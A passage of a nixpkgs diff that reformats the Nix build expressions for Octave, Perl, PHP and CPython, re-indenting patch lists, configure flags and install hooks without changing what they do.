+  ++ lib.optionals (enableJava) [
+    jdk
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libGL
+    libGLU
+    libX11
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
+  nativeBuildInputs = [
+    perl
+    pkg-config
+    gfortran
+    texinfo
+  ]
+  ++ lib.optionals enableQt [
+    libsForQt5.wrapQtAppsHook
+    libsForQt5.qtscript
+    libsForQt5.qttools
+  ];
 
   doCheck = !stdenv.hostPlatform.isDarwin;
 
@@ -178,15 +176,14 @@ stdenv.mkDerivation (finalAttrs: {
   # See https://savannah.gnu.org/bugs/?50339
   F77_INTEGER_8_FLAG = lib.optionalString use64BitIdx "-fdefault-integer-8";
 
-  configureFlags =
-    [
-      "--with-blas=blas"
-      "--with-lapack=lapack"
-      (if use64BitIdx then "--enable-64" else "--disable-64")
-    ]
-    ++ lib.optionals enableReadline [ "--enable-readline" ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ "--with-x=no" ]
-    ++ lib.optionals enableQt [ "--with-qt=5" ];
+  configureFlags = [
+    "--with-blas=blas"
+    "--with-lapack=lapack"
+    (if use64BitIdx then "--enable-64" else "--disable-64")
+  ]
+  ++ lib.optionals enableReadline [ "--enable-readline" ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "--with-x=no" ]
+  ++ lib.optionals enableQt [ "--with-qt=5" ];
 
   # Keep a copy of the octave tests detailed results in the output
   # derivation, because someone may care
diff --git a/pkgs/development/interpreters/perl/interpreter.nix b/pkgs/development/interpreters/perl/interpreter.nix
index c3f25bd4b712..f95c742fa146 100644
--- a/pkgs/development/interpreters/perl/interpreter.nix
+++ b/pkgs/development/interpreters/perl/interpreter.nix
@@ -54,7 +54,8 @@ stdenv.mkDerivation (
       "out"
       "man"
       "devdoc"
-    ] ++ lib.optional crossCompiling "mini";
+    ]
+    ++ lib.optional crossCompiling "mini";
     setOutputFlags = false;
 
     # On FreeBSD, if Perl is built with threads support, having
@@ -70,25 +71,24 @@ stdenv.mkDerivation (
 
     disallowedReferences = [ stdenv.cc ];
 
-    patches =
-      [
-        ./CVE-2024-56406.patch
-        ./CVE-2025-40909.patch
-      ]
-      # Do not look in /usr etc. for dependencies.
-      ++ lib.optional ((lib.versions.majorMinor version) == "5.38") ./no-sys-dirs-5.38.0.patch
-      ++ lib.optional ((lib.versions.majorMinor version) == "5.40") ./no-sys-dirs-5.40.0.patch
+    patches = [
+      ./CVE-2024-56406.patch
+      ./CVE-2025-40909.patch
+    ]
+    # Do not look in /usr etc. for dependencies.
+    ++ lib.optional ((lib.versions.majorMinor version) == "5.38") ./no-sys-dirs-5.38.0.patch
+    ++ lib.optional ((lib.versions.majorMinor version) == "5.40") ./no-sys-dirs-5.40.0.patch
 
-      # Fix compilation on platforms with only a C locale: https://github.com/Perl/perl5/pull/22569
-      ++ lib.optional (version == "5.40.0") ./fix-build-with-only-C-locale-5.40.0.patch
+    # Fix compilation on platforms with only a C locale: https://github.com/Perl/perl5/pull/22569
+    ++ lib.optional (version == "5.40.0") ./fix-build-with-only-C-locale-5.40.0.patch
 
-      ++ lib.optional stdenv.hostPlatform.isSunOS ./ld-shared.patch
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        ./cpp-precomp.patch
-        ./sw_vers.patch
-      ]
-      ++ lib.optional (crossCompiling && (lib.versionAtLeast version "5.40.0")) ./cross540.patch
-      ++ lib.optional (crossCompiling && (lib.versionOlder version "5.40.0")) ./cross.patch;
+    ++ lib.optional stdenv.hostPlatform.isSunOS ./ld-shared.patch
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      ./cpp-precomp.patch
+      ./sw_vers.patch
+    ]
+    ++ lib.optional (crossCompiling && (lib.versionAtLeast version "5.40.0")) ./cross540.patch
+    ++ lib.optional (crossCompiling && (lib.versionOlder version "5.40.0")) ./cross.patch;
 
     # This is not done for native builds because pwd may need to come from
     # bootstrap tools when building bootstrap perl.
@@ -107,11 +107,11 @@ stdenv.mkDerivation (
           ''
       )
       +
-        # Perl's build system uses the src variable, and its value may end up in
-        # the output in some cases (when cross-compiling)
-        ''
-          unset src
-        '';
+      # Perl's build system uses the src variable, and its value may end up in
+      # the output in some cases (when cross-compiling)
+      ''
+        unset src
+      '';
 
     # Build a thread-safe Perl with a dynamic libperl.so.  We need the
     # "installstyle" option to ensure that modules are put under
@@ -191,42 +191,41 @@ stdenv.mkDerivation (
     # https://github.com/archlinux/svntogit-packages/blob/packages/perl/trunk/config.over
     # https://salsa.debian.org/perl-team/interpreter/perl/blob/debian-5.26/debian/config.over
     # A ticket has been opened upstream to possibly clean some of this up: https://rt.perl.org/Public/Bug/Display.html?id=133452
-    preConfigure =
-      ''
-        cat > config.over <<EOF
-        ${lib.optionalString (
-          stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isGnu
-        ) ''osvers="gnulinux"''}
-        myuname="nixpkgs"
-        myhostname="nixpkgs"
-        cf_by="nixpkgs"
-        cf_time="$(date -d "@$SOURCE_DATE_EPOCH")"
-        EOF
+    preConfigure = ''
+      cat > config.over <<EOF
+      ${lib.optionalString (
+        stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isGnu
+      ) ''osvers="gnulinux"''}
+      myuname="nixpkgs"
+      myhostname="nixpkgs"
+      cf_by="nixpkgs"
+      cf_time="$(date -d "@$SOURCE_DATE_EPOCH")"
+      EOF
 
-        # Compress::Raw::Zlib should use our zlib package instead of the one
-        # included with the distribution
-        cat > ./cpan/Compress-Raw-Zlib/config.in <<EOF
-        BUILD_ZLIB   = False
-        INCLUDE      = ${zlib.dev}/include
-        LIB          = ${zlib.out}/lib
-        OLD_ZLIB     = False
-        GZIP_OS_CODE = AUTO_DETECT
-        USE_ZLIB_NG  = False
-      ''
-      + lib.optionalString (lib.versionAtLeast version "5.40.0") ''
-        ZLIB_INCLUDE = ${zlib.dev}/include
-        ZLIB_LIB     = ${zlib.out}/lib
-      ''
-      + ''
-        EOF
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        substituteInPlace hints/darwin.sh --replace "env MACOSX_DEPLOYMENT_TARGET=10.3" ""
-      ''
-      + lib.optionalString (!enableThreading) ''
-        # We need to do this because the bootstrap doesn't have a static libpthread
-        sed -i 's,\(libswanted.*\)pthread,\1,g' Configure
-      '';
+      # Compress::Raw::Zlib should use our zlib package instead of the one
+      # included with the distribution
+      cat > ./cpan/Compress-Raw-Zlib/config.in <<EOF
+      BUILD_ZLIB   = False
+      INCLUDE      = ${zlib.dev}/include
+      LIB          = ${zlib.out}/lib
+      OLD_ZLIB     = False
+      GZIP_OS_CODE = AUTO_DETECT
+      USE_ZLIB_NG  = False
+    ''
+    + lib.optionalString (lib.versionAtLeast version "5.40.0") ''
+      ZLIB_INCLUDE = ${zlib.dev}/include
+      ZLIB_LIB     = ${zlib.out}/lib
+    ''
+    + ''
+      EOF
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      substituteInPlace hints/darwin.sh --replace "env MACOSX_DEPLOYMENT_TARGET=10.3" ""
+    ''
+    + lib.optionalString (!enableThreading) ''
+      # We need to do this because the bootstrap doesn't have a static libpthread
+      sed -i 's,\(libswanted.*\)pthread,\1,g' Configure
+    '';
 
     # Default perl does not support --host= & co.
     configurePlatforms = [ ];
@@ -259,51 +258,50 @@ stdenv.mkDerivation (
     doCheck = false; # some tests fail, expensive
 
     # TODO: it seems like absolute paths to some coreutils is required.
-    postInstall =
-      ''
-        # Remove dependency between "out" and "man" outputs.
-        rm "$out"/lib/perl5/*/*/.packlist
+    postInstall = ''
+      # Remove dependency between "out" and "man" outputs.
+      rm "$out"/lib/perl5/*/*/.packlist
 
-        # Remove dependencies on glibc and gcc
-        sed "/ *libpth =>/c    libpth => ' '," \
-          -i "$out"/lib/perl5/*/*/Config.pm
-        # TODO: removing those paths would be cleaner than overwriting with nonsense.
-        substituteInPlace "$out"/lib/perl5/*/*/Config_heavy.pl \
-          --replace "${libcInc}" /no-such-path \
-          --replace "${if stdenv.hasCC then stdenv.cc else "/no-such-path"}" /no-such-path \
-          --replace "${
-            if stdenv.hasCC && stdenv.cc.cc != null then stdenv.cc.cc else "/no-such-path"
-          }" /no-such-path \
-          --replace "${
-            if stdenv.hasCC && stdenv.cc.fallback_sdk or null != null then
-              stdenv.cc.fallback_sdk
-            else
-              "/no-such-path"
-          }" /no-such-path \
-          --replace "$man" /no-such-path
-      ''
-      + lib.optionalString crossCompiling ''
-        mkdir -p $mini/lib/perl5/cross_perl/${version}
-        for dir in cnf/{stub,cpan}; do
-          cp -r $dir/* $mini/lib/perl5/cross_perl/${version}
-        done
+      # Remove dependencies on glibc and gcc
+      sed "/ *libpth =>/c    libpth => ' '," \
+        -i "$out"/lib/perl5/*/*/Config.pm
+      # TODO: removing those paths would be cleaner than overwriting with nonsense.
+      substituteInPlace "$out"/lib/perl5/*/*/Config_heavy.pl \
+        --replace "${libcInc}" /no-such-path \
+        --replace "${if stdenv.hasCC then stdenv.cc else "/no-such-path"}" /no-such-path \
+        --replace "${
+          if stdenv.hasCC && stdenv.cc.cc != null then stdenv.cc.cc else "/no-such-path"
+        }" /no-such-path \
+        --replace "${
+          if stdenv.hasCC && stdenv.cc.fallback_sdk or null != null then
+            stdenv.cc.fallback_sdk
+          else
+            "/no-such-path"
+        }" /no-such-path \
+        --replace "$man" /no-such-path
+    ''
+    + lib.optionalString crossCompiling ''
+      mkdir -p $mini/lib/perl5/cross_perl/${version}
+      for dir in cnf/{stub,cpan}; do
+        cp -r $dir/* $mini/lib/perl5/cross_perl/${version}
+      done
 
-        mkdir -p $mini/bin
-        install -m755 miniperl $mini/bin/perl
+      mkdir -p $mini/bin
+      install -m755 miniperl $mini/bin/perl
 
-        export runtimeArch="$(ls $out/lib/perl5/site_perl/${version})"
-        # wrapProgram should use a runtime-native SHELL by default, but
-        # it actually uses a buildtime-native one. If we ever fix that,
-        # we'll need to fix this to use a buildtime-native one.
-        #
-        # Adding the arch-specific directory is morally incorrect, as
-        # miniperl can't load the native modules there. However, it can
-        # (and sometimes needs to) load and run some of the pure perl
-        # code there, so we add it anyway. When needed, stubs can be put
-        # into $mini/lib/perl5/cross_perl/${version}.
-        wrapProgram $mini/bin/perl --prefix PERL5LIB : \
-          "$mini/lib/perl5/cross_perl/${version}:$out/lib/perl5/${version}:$out/lib/perl5/${version}/$runtimeArch"
-      ''; # */
+      export runtimeArch="$(ls $out/lib/perl5/site_perl/${version})"
+      # wrapProgram should use a runtime-native SHELL by default, but
+      # it actually uses a buildtime-native one. If we ever fix that,
+      # we'll need to fix this to use a buildtime-native one.
+      #
+      # Adding the arch-specific directory is morally incorrect, as
+      # miniperl can't load the native modules there. However, it can
+      # (and sometimes needs to) load and run some of the pure perl
+      # code there, so we add it anyway. When needed, stubs can be put
+      # into $mini/lib/perl5/cross_perl/${version}.
+      wrapProgram $mini/bin/perl --prefix PERL5LIB : \
+        "$mini/lib/perl5/cross_perl/${version}:$out/lib/perl5/${version}:$out/lib/perl5/${version}/$runtimeArch"
+    ''; # */
 
     meta = with lib; {
       homepage = "https://www.perl.org/";
diff --git a/pkgs/development/interpreters/perl/wrapper.nix b/pkgs/development/interpreters/perl/wrapper.nix
index 8321f85ef39b..06144c8cc5ea 100644
--- a/pkgs/development/interpreters/perl/wrapper.nix
+++ b/pkgs/development/interpreters/perl/wrapper.nix
@@ -31,29 +31,28 @@ let
       ];
 
       # we create wrapper for the binaries in the different packages
-      postBuild =
-        ''
-          if [ -L "$out/bin" ]; then
-              unlink "$out/bin"
-          fi
-          mkdir -p "$out/bin"
+      postBuild = ''
+        if [ -L "$out/bin" ]; then
+            unlink "$out/bin"
+        fi
+        mkdir -p "$out/bin"
 
-          # take every binary from perl packages and put them into the env
-          for path in ${lib.concatStringsSep " " paths}; do
-            if [ -d "$path/bin" ]; then
-              cd "$path/bin"
-              for prg in *; do
-                if [ -f "$prg" ]; then
-                  rm -f "$out/bin/$prg"
-                  if [ -x "$prg" ]; then
-                    makeWrapper "$path/bin/$prg" "$out/bin/$prg" --suffix PERL5LIB ':' "$out/${perl.libPrefix}"
-                  fi
+        # take every binary from perl packages and put them into the env
+        for path in ${lib.concatStringsSep " " paths}; do
+          if [ -d "$path/bin" ]; then
+            cd "$path/bin"
+            for prg in *; do
+              if [ -f "$prg" ]; then
+                rm -f "$out/bin/$prg"
+                if [ -x "$prg" ]; then
+                  makeWrapper "$path/bin/$prg" "$out/bin/$prg" --suffix PERL5LIB ':' "$out/${perl.libPrefix}"
                 fi
-              done
-            fi
-          done
-        ''
-        + postBuild;
+              fi
+            done
+          fi
+        done
+      ''
+      + postBuild;
 
       meta = perl.meta // {
         outputsToInstall = [ "out" ];
diff --git a/pkgs/development/interpreters/php/generic.nix b/pkgs/development/interpreters/php/generic.nix
index 3362771b77b1..0a6230e3e2ab 100644
--- a/pkgs/development/interpreters/php/generic.nix
+++ b/pkgs/development/interpreters/php/generic.nix
@@ -236,7 +236,8 @@ let
             libtool
             pkg-config
             re2c
-          ] ++ lib.optional stdenv.hostPlatform.isDarwin xcbuild;
+          ]
+          ++ lib.optional stdenv.hostPlatform.isDarwin xcbuild;
 
           buildInputs =
             # PCRE extension
diff --git a/pkgs/development/interpreters/python/cpython/2.7/default.nix b/pkgs/development/interpreters/python/cpython/2.7/default.nix
index 1a9c554dc5a8..94ff0c97dfa8 100644
--- a/pkgs/development/interpreters/python/cpython/2.7/default.nix
+++ b/pkgs/development/interpreters/python/cpython/2.7/default.nix
@@ -104,113 +104,111 @@ let
   };
 
   hasDistutilsCxxPatch = !(stdenv.cc.isGNU or false);
-  patches =
-    [
-      # Look in C_INCLUDE_PATH and LIBRARY_PATH for stuff.
-      ./search-path.patch
+  patches = [
+    # Look in C_INCLUDE_PATH and LIBRARY_PATH for stuff.
+    ./search-path.patch
 
-      # Python recompiles a Python if the mtime stored *in* the
-      # pyc/pyo file differs from the mtime of the source file.  This
-      # doesn't work in Nix because Nix changes the mtime of files in
-      # the Nix store to 1.  So treat that as a special case.
-      ./nix-store-mtime.patch
+    # Python recompiles a Python if the mtime stored *in* the
+    # pyc/pyo file differs from the mtime of the source file.  This
+    # doesn't work in Nix because Nix changes the mtime of files in
+    # the Nix store to 1.  So treat that as a special case.
+    ./nix-store-mtime.patch
 
-      # patch python to put zero timestamp into pyc
-      # if DETERMINISTIC_BUILD env var is set
-      ./deterministic-build.patch
+    # patch python to put zero timestamp into pyc
+    # if DETERMINISTIC_BUILD env var is set
+    ./deterministic-build.patch
 
-      # Fix python bug #27177 (https://bugs.python.org/issue27177)
-      # The issue is that `match.group` only recognizes python integers
-      # instead of everything that has `__index__`.
-      # This bug was fixed upstream, but not backported to 2.7
-      (fetchpatch {
-        name = "re_match_index.patch";
-        url = "https://bugs.python.org/file43084/re_match_index.patch";
-        sha256 = "0l9rw6r5r90iybdkp3hhl2pf0h0s1izc68h5d3ywrm92pq32wz57";
-      })
+    # Fix python bug #27177 (https://bugs.python.org/issue27177)
+    # The issue is that `match.group` only recognizes python integers
+    # instead of everything that has `__index__`.
+    # This bug was fixed upstream, but not backported to 2.7
+    (fetchpatch {
+      name = "re_match_index.patch";
+      url = "https://bugs.python.org/file43084/re_match_index.patch";
+      sha256 = "0l9rw6r5r90iybdkp3hhl2pf0h0s1izc68h5d3ywrm92pq32wz57";
+    })
 
-      # Fix race-condition during pyc creation. Has a slight backwards
-      # incompatible effect: pyc symlinks will now be overridden
-      # (https://bugs.python.org/issue17222). Included in python >= 3.4,
-      # backported in debian since 2013.
-      # https://bugs.python.org/issue13146
-      ./atomic_pyc.patch
+    # Fix race-condition during pyc creation. Has a slight backwards
+    # incompatible effect: pyc symlinks will now be overridden
+    # (https://bugs.python.org/issue17222). Included in python >= 3.4,
+    # backported in debian since 2013.
+    # https://bugs.python.org/issue13146
+    ./atomic_pyc.patch
 
-      # Backport from CPython 3.8 of a good list of tests to run for PGO.
-      ./profile-task.patch
+    # Backport from CPython 3.8 of a good list of tests to run for PGO.
+    ./profile-task.patch
 
-      # The workaround is for unittests on Win64, which we don't support.
-      # It does break aarch64-darwin, which we do support. See:
-      # * https://bugs.python.org/issue35523
-      # * https://github.com/python/cpython/commit/e6b247c8e524
-      ../3.7/no-win64-workaround.patch
+    # The workaround is for unittests on Win64, which we don't support.
+    # It does break aarch64-darwin, which we do support. See:
+    # * https://bugs.python.org/issue35523
+    # * https://github.com/python/cpython/commit/e6b247c8e524
+    ../3.7/no-win64-workaround.patch
 
-      # fix openssl detection by reverting irrelevant change for us, to enable hashlib which is required by pip
-      (fetchpatch {
-        url = "https://github.com/ActiveState/cpython/pull/35/commits/20ea5b46aaf1e7bdf9d6905ba8bece2cc73b05b0.patch";
-        revert = true;
-        hash = "sha256-Lp5fGlcfJJ6p6vKmcLckJiAA2AZz4prjFE0aMEJxotw=";
-      })
-    ]
-    ++ lib.optionals (x11Support && stdenv.hostPlatform.isDarwin) [
-      ./use-correct-tcl-tk-on-darwin.patch
+    # fix openssl detection by reverting irrelevant change for us, to enable hashlib which is required by pip
+    (fetchpatch {
+      url = "https://github.com/ActiveState/cpython/pull/35/commits/20ea5b46aaf1e7bdf9d6905ba8bece2cc73b05b0.patch";
+      revert = true;
+      hash = "sha256-Lp5fGlcfJJ6p6vKmcLckJiAA2AZz4prjFE0aMEJxotw=";
+    })
+  ]
+  ++ lib.optionals (x11Support && stdenv.hostPlatform.isDarwin) [
+    ./use-correct-tcl-tk-on-darwin.patch
 
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
 
-      # Disable the use of ldconfig in ctypes.util.find_library (since
-      # ldconfig doesn't work on NixOS), and don't use
-      # ctypes.util.find_library during the loading of the uuid module
-      # (since it will do a futile invocation of gcc (!) to find
-      # libuuid, slowing down program startup a lot).
-      ./no-ldconfig.patch
+    # Disable the use of ldconfig in ctypes.util.find_library (since
+    # ldconfig doesn't work on NixOS), and don't use
+    # ctypes.util.find_library during the loading of the uuid module
+    # (since it will do a futile invocation of gcc (!) to find
+    # libuuid, slowing down program startup a lot).
+    ./no-ldconfig.patch
 
-      # Fix ctypes.util.find_library with gcc10.
-      ./find_library-gcc10.patch
+    # Fix ctypes.util.find_library with gcc10.
+    ./find_library-gcc10.patch
 
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isCygwin [
-      ./2.5.2-ctypes-util-find_library.patch
-      ./2.5.2-tkinter-x11.patch
-      ./2.6.2-ssl-threads.patch
-      ./2.6.5-export-PySignal_SetWakeupFd.patch
-      ./2.6.5-FD_SETSIZE.patch
-      ./2.6.5-ncurses-abi6.patch
-      ./2.7.3-dbm.patch
-      ./2.7.3-dylib.patch
-      ./2.7.3-getpath-exe-extension.patch
-      ./2.7.3-no-libm.patch
-    ]
-    ++ lib.optionals hasDistutilsCxxPatch [
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isCygwin [
+    ./2.5.2-ctypes-util-find_library.patch
+    ./2.5.2-tkinter-x11.patch
+    ./2.6.2-ssl-threads.patch
+    ./2.6.5-export-PySignal_SetWakeupFd.patch
+    ./2.6.5-FD_SETSIZE.patch
+    ./2.6.5-ncurses-abi6.patch
+    ./2.7.3-dbm.patch
+    ./2.7.3-dylib.patch
+    ./2.7.3-getpath-exe-extension.patch
+    ./2.7.3-no-libm.patch
+  ]
+  ++ lib.optionals hasDistutilsCxxPatch [
 
-      # Patch from http://bugs.python.org/issue1222585 adapted to work with
-      # `patch -p1' and with a last hunk removed
-      # Upstream distutils is calling C compiler to compile C++ code, which
-      # only works for GCC and Apple Clang. This makes distutils to call C++
-      # compiler when needed.
-      ./python-2.7-distutils-C++.patch
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      ./cross-compile.patch
-    ];
+    # Patch from http://bugs.python.org/issue1222585 adapted to work with
+    # `patch -p1' and with a last hunk removed
+    # Upstream distutils is calling C compiler to compile C++ code, which
+    # only works for GCC and Apple Clang. This makes distutils to call C++
+    # compiler when needed.
+    ./python-2.7-distutils-C++.patch
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    ./cross-compile.patch
+  ];
 
-  preConfigure =
-    ''
-      # Purity.
-      for i in /usr /sw /opt /pkg; do
-        substituteInPlace ./setup.py --replace $i /no-such-path
-      done
-    ''
-    + lib.optionalString (stdenv ? cc && stdenv.cc.libc != null) ''
-      for i in Lib/plat-*/regen; do
-        substituteInPlace $i --replace /usr/include/ ${stdenv.cc.libc}/include/
-      done
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace configure --replace '`/usr/bin/arch`' '"i386"'
-      substituteInPlace Lib/multiprocessing/__init__.py \
-        --replace 'os.popen(comm)' 'os.popen("${coreutils}/bin/nproc")'
-    '';
+  preConfigure = ''
+    # Purity.
+    for i in /usr /sw /opt /pkg; do
+      substituteInPlace ./setup.py --replace $i /no-such-path
+    done
+  ''
+  + lib.optionalString (stdenv ? cc && stdenv.cc.libc != null) ''
+    for i in Lib/plat-*/regen; do
+      substituteInPlace $i --replace /usr/include/ ${stdenv.cc.libc}/include/
+    done
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace configure --replace '`/usr/bin/arch`' '"i386"'
+    substituteInPlace Lib/multiprocessing/__init__.py \
+      --replace 'os.popen(comm)' 'os.popen("${coreutils}/bin/nproc")'
+  '';
 
   configureFlags =
     lib.optionals enableOptimizations [
@@ -279,12 +277,13 @@ let
       tk
       libX11
     ];
-  nativeBuildInputs =
-    [ autoreconfHook ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      buildPackages.stdenv.cc
-      buildPackages.python27
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    buildPackages.stdenv.cc
+    buildPackages.python27
+  ];
 
   mkPaths = paths: {
     C_INCLUDE_PATH = lib.makeSearchPathOutput "dev" "include" paths;
@@ -329,68 +328,66 @@ stdenv.mkDerivation (
       substituteInPlace "Lib/lib-tk/Tix.py" --replace "os.environ.get('TIX_LIBRARY')" "os.environ.get('TIX_LIBRARY') or '${tclPackages.tix}/lib'"
     '';
 
-    postInstall =
-      ''
-        # needed for some packages, especially packages that backport
-        # functionality to 2.x from 3.x
-        for item in $out/lib/${libPrefix}/test/*; do
-          if [[ "$item" != */test_support.py*
-             && "$item" != */test/support
-             && "$item" != */test/regrtest.py* ]]; then
-            rm -rf "$item"
-          else
-            echo $item
-          fi
-        done
-        touch $out/lib/${libPrefix}/test/__init__.py
-        ln -s $out/lib/${libPrefix}/pdb.py $out/bin/pdb
-        ln -s $out/lib/${libPrefix}/pdb.py $out/bin/pdb${sourceVersion.major}.${sourceVersion.minor}
-        ln -s $out/share/man/man1/{python2.7.1.gz,python.1.gz}
+    postInstall = ''
+      # needed for some packages, especially packages that backport
+      # functionality to 2.x from 3.x
+      for item in $out/lib/${libPrefix}/test/*; do
+        if [[ "$item" != */test_support.py*
+           && "$item" != */test/support
+           && "$item" != */test/regrtest.py* ]]; then
+          rm -rf "$item"
+        else
+          echo $item
+        fi
+      done
+      touch $out/lib/${libPrefix}/test/__init__.py
+      ln -s $out/lib/${libPrefix}/pdb.py $out/bin/pdb
+      ln -s $out/lib/${libPrefix}/pdb.py $out/bin/pdb${sourceVersion.major}.${sourceVersion.minor}
+      ln -s $out/share/man/man1/{python2.7.1.gz,python.1.gz}
 
-        rm "$out"/lib/python*/plat-*/regen # refers to glibc.dev
+      rm "$out"/lib/python*/plat-*/regen # refers to glibc.dev
 
-        # Determinism: Windows installers were not deterministic.
-        # We're also not interested in building Windows installers.
-        find "$out" -name 'wininst*.exe' | xargs -r rm -f
-      ''
-      + lib.optionalString stripBytecode ''
-        # Determinism: deterministic bytecode
-        # First we delete all old bytecode.
-        find $out -name "*.pyc" -delete
-      ''
-      + lib.optionalString rebuildBytecode ''
-        # We build 3 levels of optimized bytecode. Note the default level, without optimizations,
-        # is not reproducible yet. https://bugs.python.org/issue29708
-        # Not creating bytecode will result in a large performance loss however, so we do build it.
-        find $out -name "*.py" | ${pythonOnBuildForHostInterpreter} -m compileall -q -f -x "lib2to3" -i -
-        find $out -name "*.py" | ${pythonOnBuildForHostInterpreter} -O  -m compileall -q -f -x "lib2to3" -i -
-        find $out -name "*.py" | ${pythonOnBuildForHostInterpreter} -OO -m compileall -q -f -x "lib2to3" -i -
-      ''
-      + lib.optionalString stdenv.hostPlatform.isCygwin ''
-        cp libpython2.7.dll.a $out/lib
-      '';
+      # Determinism: Windows installers were not deterministic.
+      # We're also not interested in building Windows installers.
+      find "$out" -name 'wininst*.exe' | xargs -r rm -f
+    ''
+    + lib.optionalString stripBytecode ''
+      # Determinism: deterministic bytecode
+      # First we delete all old bytecode.
+      find $out -name "*.pyc" -delete
+    ''
+    + lib.optionalString rebuildBytecode ''
+      # We build 3 levels of optimized bytecode. Note the default level, without optimizations,
+      # is not reproducible yet. https://bugs.python.org/issue29708
+      # Not creating bytecode will result in a large performance loss however, so we do build it.
+      find $out -name "*.py" | ${pythonOnBuildForHostInterpreter} -m compileall -q -f -x "lib2to3" -i -
+      find $out -name "*.py" | ${pythonOnBuildForHostInterpreter} -O  -m compileall -q -f -x "lib2to3" -i -
+      find $out -name "*.py" | ${pythonOnBuildForHostInterpreter} -OO -m compileall -q -f -x "lib2to3" -i -
+    ''
+    + lib.optionalString stdenv.hostPlatform.isCygwin ''
+      cp libpython2.7.dll.a $out/lib
+    '';
 
     inherit passthru;
 
-    postFixup =
-      ''
-        # Include a sitecustomize.py file. Note it causes an error when it's in postInstall with 2.7.
-        cp ${../../sitecustomize.py} $out/${sitePackages}/sitecustomize.py
-      ''
-      + lib.optionalString strip2to3 ''
-        rm -R $out/bin/2to3 $out/lib/python*/lib2to3
-      ''
-      + lib.optionalString stripConfig ''
-        rm -R $out/bin/python*-config $out/lib/python*/config*
-      ''
-      + lib.optionalString stripIdlelib ''
-        # Strip IDLE
-        rm -R $out/bin/idle* $out/lib/python*/idlelib
-      ''
-      + lib.optionalString stripTests ''
-        # Strip tests
-        rm -R $out/lib/python*/test $out/lib/python*/**/test{,s}
-      '';
+    postFixup = ''
+      # Include a sitecustomize.py file. Note it causes an error when it's in postInstall with 2.7.
+      cp ${../../sitecustomize.py} $out/${sitePackages}/sitecustomize.py
+    ''
+    + lib.optionalString strip2to3 ''
+      rm -R $out/bin/2to3 $out/lib/python*/lib2to3
+    ''
+    + lib.optionalString stripConfig ''
+      rm -R $out/bin/python*-config $out/lib/python*/config*
+    ''
+    + lib.optionalString stripIdlelib ''
+      # Strip IDLE
+      rm -R $out/bin/idle* $out/lib/python*/idlelib
+    ''
+    + lib.optionalString stripTests ''
+      # Strip tests
+      rm -R $out/lib/python*/test $out/lib/python*/**/test{,s}
+    '';
 
     enableParallelBuilding = true;
 
diff --git a/pkgs/development/interpreters/python/cpython/default.nix b/pkgs/development/interpreters/python/cpython/default.nix
index 52b0a3ea4eb4..332e5a5e2291 100644
--- a/pkgs/development/interpreters/python/cpython/default.nix
+++ b/pkgs/development/interpreters/python/cpython/default.nix
@@ -157,7 +157,8 @@ let
         pythonOnTargetForTarget = lib.optionalAttrs (lib.hasAttr pythonAttr pkgsTargetTarget) (
           override pkgsTargetTarget.${pythonAttr}
         );
-      } // __splices;
+      }
+      // __splices;
       override =
         attr:
         let
@@ -190,31 +191,30 @@ let
 
   version = with sourceVersion; "${major}.${minor}.${patch}${suffix}";
 
-  nativeBuildInputs =
-    [
-      nukeReferences
-    ]
-    ++ optionals (!stdenv.hostPlatform.isDarwin) [
-      autoconf-archive # needed for AX_CHECK_COMPILE_FLAG
-      autoreconfHook
-    ]
-    ++ optionals (!stdenv.hostPlatform.isDarwin || passthru.pythonAtLeast "3.14") [
-      pkg-config
-    ]
-    ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      buildPackages.stdenv.cc
-      pythonOnBuildForHost
-    ]
-    ++
-      optionals
-        (
-          stdenv.cc.isClang
-          && (!stdenv.hostPlatform.useAndroidPrebuilt or false)
-          && (enableLTO || enableOptimizations)
-        )
-        [
-          stdenv.cc.cc.libllvm.out
-        ];
+  nativeBuildInputs = [
+    nukeReferences
+  ]
+  ++ optionals (!stdenv.hostPlatform.isDarwin) [
+    autoconf-archive # needed for AX_CHECK_COMPILE_FLAG
+    autoreconfHook
+  ]
+  ++ optionals (!stdenv.hostPlatform.isDarwin || passthru.pythonAtLeast "3.14") [
+    pkg-config
+  ]
+  ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    buildPackages.stdenv.cc
+    pythonOnBuildForHost
+  ]
+  ++
+    optionals
+      (
+        stdenv.cc.isClang
+        && (!stdenv.hostPlatform.useAndroidPrebuilt or false)
+        && (enableLTO || enableOptimizations)
+      )
+      [
+        stdenv.cc.cc.libllvm.out
+      ];
 
   buildInputs = lib.filter (p: p != null) (
     [
@@ -315,98 +315,97 @@ stdenv.mkDerivation (finalAttrs: {
     substituteInPlace configure --replace-fail '`/usr/bin/arch`' '"i386"'
   '';
 
-  patches =
-    [
-      # Disable the use of ldconfig in ctypes.util.find_library (since
-      # ldconfig doesn't work on NixOS), and don't use
-      # ctypes.util.find_library during the loading of the uuid module
-      # (since it will do a futile invocation of gcc (!) to find
-      # libuuid, slowing down program startup a lot).
-      noldconfigPatch
-    ]
-    ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform && stdenv.hostPlatform.isFreeBSD) [
-      # Cross compilation only supports a limited number of "known good"
-      # configurations. If you're reading this and it's been a long time
